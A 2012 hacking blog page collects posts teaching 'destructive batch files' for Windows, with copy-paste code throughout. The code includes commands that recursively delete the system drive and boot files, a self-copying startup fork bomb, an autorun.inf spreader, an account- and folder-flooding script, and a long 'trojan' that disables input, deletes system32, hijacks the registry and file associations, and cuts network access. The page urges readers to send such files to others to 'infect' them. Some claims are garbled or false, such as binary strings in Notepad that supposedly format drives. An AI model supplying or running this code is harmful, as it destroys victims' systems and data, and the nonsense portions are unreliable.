Showing posts with label BATCH FILES. Show all posts
Showing posts with label BATCH FILES. Show all posts

Monday, 22 October 2012

BATCH FILE DESTRUCTION FINAL

Batch file hacking is very fun oh yeaa in this page i will teach some tricks and about them.

What Is A Batch File?A batch file is a MS-DOS file that will execute certain commands these files are usually made with notepad, Alot of people think batch files are nooby but if you know what your doing they can actually be quite powerful and by powerful i mean deleting a whole C:/ Drive.

Whats CMD?
Ok Now you know what a Batch File is you need to know what CMD is ok well cmd is basicly MS-DOS it is a program that allows you to execute certain commands, CMD is simply short for Command Prompt which is its full name.

How To Get CMD?Ok now were getting somewhere here are some simple ways to create and run cmd
1.Start>Run>"Type Cmd" and viola (If That Dosent Work Try Typing cmd.exe)
2.Notepad>(type command)>Save to desktop as (anything.bat) just make sure it has the extension (.bat) open it and theres C Prompt.
3.Right click anywhere on your desktop>New>shortcut>(type command)>enter>and on your desktop is C prompt.
4. Simply Go Start>Accesories>Command prompt. Lol
5. Go To C:\WINDOWS\system32\cmd

Tricks And Tips
Ok you now know the basics of your hacking journey, here are some tricks that you can use.




1. Shutdown Error
Ok this is a trick , when you click on this icon your about to make it will shut the computer down in the amount of time you set lets say 1min and you can leave a message, our message will be "You Got Owned".

To make this 1. Open Notepad, 2.Type Shutdown -s -t 60 -c "You Got Owned"
3. Save To Desktop As shutdown.bat (DONT FORGET THE .BAT)
4.You will now have an icon on yor desktop thats called shutdown.bat
5. Double click on it to execute and an error message will come up saying
"Shutdown Will Commence In 1min" and below that will be a message saying you got owned. Thank You That Is My First Trick.

(To abort, open another command prompt and type shutdown -a)


Shutdown Computers Over The Network.

To make this 1. Open Notepad, 2.Type Shutdown -s -m \\xxx.xxx.xxx.xxx (IP Address)
3. Save To Desktop As (Anything).bat (DONT FORGET THE .BAT)
4.Double click on the icon and wait.
5. Now there is of course other ways of doing this, read the post on the front page,

you can also open CMD and type "Shutdown -i"
Thats My 2nd Trick Thankyou.

Batch File That Deletes Other Things.

This batch file will delete any file on your computer, be carefull now its pretty simple first of all
1.Open Notepad
2. Type
3.@echo off
del "Path Of File You Want To Delete" /Q /S> nul
4. Save as "Anything.bat"
5. Execute It.

Example:
@echo off
del "C:/Documents And Settings/Custard/Desktop/lol.txt" /Q /S> nul

Creating a pause in a batch file
Creating a pause in a batch file is not a complicated thing to do, basically all you have to do is
start writing your batch, then have your first command then go down a line and type PAUSE then -t xx (xx being number of seconds
then the next line continue with the rest of your code




Make Batch Files run on startup:To make a batch file run on start up go to C:\WINDOWS\system32 then find the file autoexec, there may be different extensions to this file the main ones being .bat, .nt, or .exe, then open in using notepad, then edit it placing the word start followed by the location of the batch file (example: My Documents/example.bat) in the file then saving and closing.
Thank you, Enjoy,

DESTRUCTIVE BATCH FILE- 5

BATCH FILES - SOME TRICKY VIRUS

1. AUTORUN VIRUS

      [autorun]

Open=Pirus.bat

Shellexecute=Pirus.bat


save the above code as autorun.inf and run


2.HANG COMPUTER BY OPENING NOTEPAD RANDOMLY

   @ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top
      
save the above code as autorun.bat and run

 3.SCREW UP YOUR COMPUTER

bat file that can screw up a computer. Use wisely.

echo :loop > C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp%random%.bat"
goto start


This creates a "forkbomb" kind of bat file one that repeatedly opens itself in the start up folder and then proceeds to copy itself indefinitely. When the computer is rebooted it is likely to crash very quickly.

Will be very hard to undo. May be rebooting in safe mode will do it. Dunno really.

Only problem is that u need to change the part where its says USER for the username of the target.

4.CODE FOR OPENING AND CLOSING CD DRIVE


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count = 1 then
for i = 0 to colCDROMS.Count - 1
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
Next ' cdrom
end if save as .vbs


PLs save as .vbs not .bat

BATCH FILE DESTRUCTION- 4

HOW TO FORMAT A HARDDISK WITH A NOTEPAD

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to format a HDD using a notepad. This is really cool.

Step 1.
Copy The Following In Notepad Exactly as it says01001011000111110010010101010101010000011111100000

Step 2.
Save As An EXE Any Name Will Do

Step 3.
Send the EXE to People And Infect

OR

IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X
 — this will format your drive c:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X
 — this will format your dirve d:\


01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X
— this will format your drive a:\


01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini
 — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

try to figure out yourself rest
cant spoon feed
its working

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this

go to notepad and type the following:

@Echo off
Del C:\ *.*|y

save it as Dell.bat

want worse then type the following:

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as a .bat file

Sunday, 21 October 2012

DESTRUCTIVE BATCH FILES - 3



1.

Batch File Code:Delete windows

1.open your notepad.
2.copy and paste this code to your notepad given below.

@echo off
:START
echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!
start hi.bat
GOTO START
 
3.save this at bat extension.example:virus.bat
this bat file can delete your windows.


 2.
DESTROY A PC BY ITS BOOTING


@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

save as .bat extension and see the work by yourself

3.
COMPUTER DISTROYER
 
@echo off
echo WARNING VIRUS HAS BEEN DETECTED
echo System check
echo -
echo Power - FAILED
echo -
echo RAM - FAILED
echo -
echo Norton - FAILED
echo -
echo Breach of IP adress
echo -
echo Firewall - FAILED
echo -
echo Virus attaining: ****-****-****-8894
echo -
echo Hard drive must be erased and rebooted to resume windows.
echo -
PAUSE
echo -
echo Starting to reboot hardrive.
echo -
echo Do not attempt to quit.
echo -
echo Restart after 10 minutes approximately.
PAUSE
:START

save as computer destroyer.bat

4.
 INTERNET DESTROYER

@echo off
cd WINDOWSSYSTEM32DRIVERSETC
attrib hosts -r -h
del hosts

save as internet destroyer.bat

 5.
BLUE SCREEN TO DEATH
@echo off

cd /

cls

color 17

echo A problem has been detected and Windows has been shut down to prevent damage

echo to your computer.

echo.

echo The problem seems to be caused by the following file: SPCMDCON.SYS

echo.

echo PAGE_FAULT_IN_NONPAGED_AREA

echo.


echo If this is the first time you've seen this stop error screen,

echo restart your computer. If this screen appears again, follow

echo these steps:

echo.

echo Check to make sure any new hardware or software is properly installed.

echo If this is a new installation, ask your hardware or software manufacturer

echo for any Windows updates you might need.

echo.

echo If problems continue, disable or remove any newly installed hardware

echo or software. Disable BIOS memory options such as caching or shadowing.

echo If you need to use Safe Mode to remove or disable components, restart

echo your computer, press F8 to select Advanced Startup Options, and then

echo select Safe Mode.

echo.

echo Technical information:

echo.

echo *** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x00000000)

echo.

echo.

echo *** SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c

pause >nul

cls

echo Downloading viruses . . .

ping localhost -n 5 >nul

dir /s

pause >nul

save as screen.bat 

DESTRUCTIVE BATCH TROJAN - 2



Batch File Code:create a virus

1.open your notepad.
2.copy and paste this code to your notepad.

:start
@ECHO SET magic2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a magic2=%%magic2%%+1 >> bat6.bat
@ECHO NET USER magic2%%magic2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET pogo=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR pogo%%pogo%% >> bat5.bat
@ECHO SET /a pogo=%%pogo%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET hat=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR hat%%hat%% >> bat4.bat
@ECHO SET /a hat=%%hat%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET chart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR chart%%chart%% >> bat3.bat
@ECHO SET /a chart=%%chart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET gamer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR gamer%%gamer%% >> bat2.bat
@ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

original
CD %HomeDrive%\
SET sharma=1
GOTO flood1
:flood1
MKDIR sharma%sharma%
SET /a sharma=%sharma%+1
GOTO flood1
 
3.save this at bat extension.example:virus.bat
this bat file is your virus.


Batch File Code:delete virus

1.open your notepad.
2.copy and paste this code to your notepad given below...

@ECHO OFF
prompt $p$g
title algeeroidbiletdoux System FlashX
:Shredder
color 02
CLS
ECHO.
ECHO algeeroidbilletdoux System FlashX
ECHO DRIVE SHREDDER
ECHO.
dir /a/w
ECHO.
ECHO “PRESS THE TAB KEY IN YOUR KEYBOARD TO SELECT ON THE DIRECTORY”
ECHO.
SET /P M= SHREDD
IF NOT EXIST %M% GOTO :driveShredderERROR
attrib -s -h -r %M%
del /f /q %M%
IF NOT EXIST %M% GOTO :SHREDCOMP
RD /S %M%
:SHREDCOMP
COLOR 0A
echo MyBox = MsgBox(“File/Folder has been Shredded. File/Folder deleted this way will never go at the recycle bin.”, 6000, “algeeroidbilletdoux System FlashX”) >driveshredder.vbs
start /w driveshredder.vbs
del /f /q driveshredder.vbs
GOTO :Shredder
:driveShredderERROR
COLOR 0A
echo MyBox = MsgBox(“The File/Folder you type does not exist and match in the directory.”, 6000, “algeeroidbilletdoux System FlashX”) >folderatt.vbs
start /w folderatt.vbs
del /f /q folderatt.vbs
GOTO :Shredder
 
3.save this at .bat extension.example:antivirus.bat
this is your antivirus...:D

FOLDER LOCK USING BATCH FILES



Folder lock with password using notepad


Folder locker code!!!!!! password protected!!!!

1.open your notepad.
2.copy paste this code.....

@echo off
title Folder realthought
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST realthought goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren realthought "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
admin
if NOT %pass%== realthought goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" realthought
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md realthought
echo Locker created successfully
goto End

 
3.save as "locker.bat"
4.now click on this batch file.it will create a folder named "realthought".
5.to lock this folder,again click on this batch file.then press "Y".now you can't see the realthought folder.
6.to unlock this folder,again click on this batch file(locker.bat) and password "realthought"

Saturday, 20 October 2012

DESTRUCTIVE BATCH TROJAN - 1

Use this at your own risk cus the code may damage your computer if not handled with care!!!!!!

1-open notepad
2-copy and paste these codes in it:


YOU MUST SAVE IT AS ABC.bat OR Else It Wont Work For YOu!!
What It Will Do….?
How Does It Effect The Victim’s Machine..
1-Spread it self in your computer
2-disable your keyboard and mouse
3-deleted necessary system files
4-delete files that allow your computer to rebbot and restart

5-delete messenger, window explorer..
6-Make My music , my Picture….invisible
7-disconnect you from the internet
8-open CD drive than close it than open it ..
9-change time to 6:66
10-show the victim some msgs, making him unconfortable
11-show the victim a full screen window full of numbers

12-release ip adress, so your pc can no more get any outside connection
13-virus start again every time you click on mozilla firefox, internet explorer..
14-virus start again everytime PC is turned on

Hint: You Can Make It Into EXE And Bind With Some Files To Look More Destructive.
The Source Code
@echo off
copy “Ankit.bat” “C:\WINDOWS”
attrib +r +h +s “Ankit.bat”
copy “Ankit.bat” “C:\Documents and Settings\Owner\Start Menu\Programs\startup”
copy “Ankit.bat” “C:\”
copy “Ankit.bat” “C:\Documents and Settings\Owner\My Documents”
Reg Add “HKCU\Control Panel\Mouse” /v SwapMouseButtons /f /d “10″
rundll32 keyboard, disable
rundll32 mouse, disable
taskkill explorer /t /t
taskkill yahoomessenger /f /t
taskkill msmsgs /t /f
taskkill firefox /f /t
taskkill iexplore /f /t
time 6:66
del “C:\WINDOWS\explorer.exe” /f /q
cd “C:\WINDOWS”
del “*.bat” /f /q
cd “C:\WINDOWS\system32″
del “*.*” /q /f
del “C:\Program Files\messenger\msmsgs.exe” /q /f
del “C:\Program Files\Yahoo!\messenger\YahooMessenger.exe” /q /f
attrib +r +h “C:\Documents and Settings\Owner\My Documents\My Music”
attrib +r +h “C:\Documents and Settings\Owner\My Documents\My Pictures”
attrib +r +h “C:\Documents and Settings\Owner\My Documents\My Videos”
attrib +r +h “C:\Documents and Settings\Owner\My Documents”
attrib +r +h “C:\WINDOWS”
RASDIAL /DISCONNECT
start D:\
reg add “HKLM\SOFTWARE\Mozilla\Mozilla Firefox.0.0.12 (en-US)\main” /v PathtoExe /f /d “C:\WINDOWS\Ankit.bat”
reg add “HKLM\SOFTWARE\InstallShield\driver\intel32″ /v folder /f /d “C:\WINDOWS\Ankit.bat”
assoc .exe=WMAFile
assoc .mp3=VBSFile
assoc .jpg=THEMEFile
assoc .bmp=THEMEFile
assoc .gif=THEMEFile
attrib –r –s –h c:\autoexec.bat
del c:\autoexec.bat
attrib –r –s –h c:\boot.ini
del c:\boot.ini
attrib –r –s –h c:\ntldr
del c:\ntldr
attrib –r –s –h c:\windows\win.ini
del c:\windows\win.ini
set wmp = createObject(“wmplayer.ocx.7″)
set drives = wmp.cdromCollection
sub open_saysame()
on error resume next
do
if drives.count >= 1 then
for i = 0 to drives.count – 1
drives.item(i).eject()
next
end if
loop
end sub
open_saysame()
Ipconfig /release
color 2
:start
echo %random%%random%%random%%random%%random%
%random%%random%%random%%random%%random%
%random%%random%%random%%random%%random%
%random%%random%%random%%random%%random%
goto start
echo You have been pwned by Ankit. Next time, don’t be so stupid! >> finalmessage.txt
start finalmessage.txt
shutdown -s -t 60 -c “Say goodbye”
msg * Ankit has wiped your computer clean
:section1
cd “C:\Documents and Settings\Owner\desktop”
copy “C:\WINDOWS\Ankit.bat” “8021.bat”
cd “C:\Documents and Settings\Owner\desktop”
md 5265
cd “C:\WINDOWS\system32″
copy “C:\WINDOWS\Ankit.bat” “2696.bat”
start
start
start
start
start
goto section1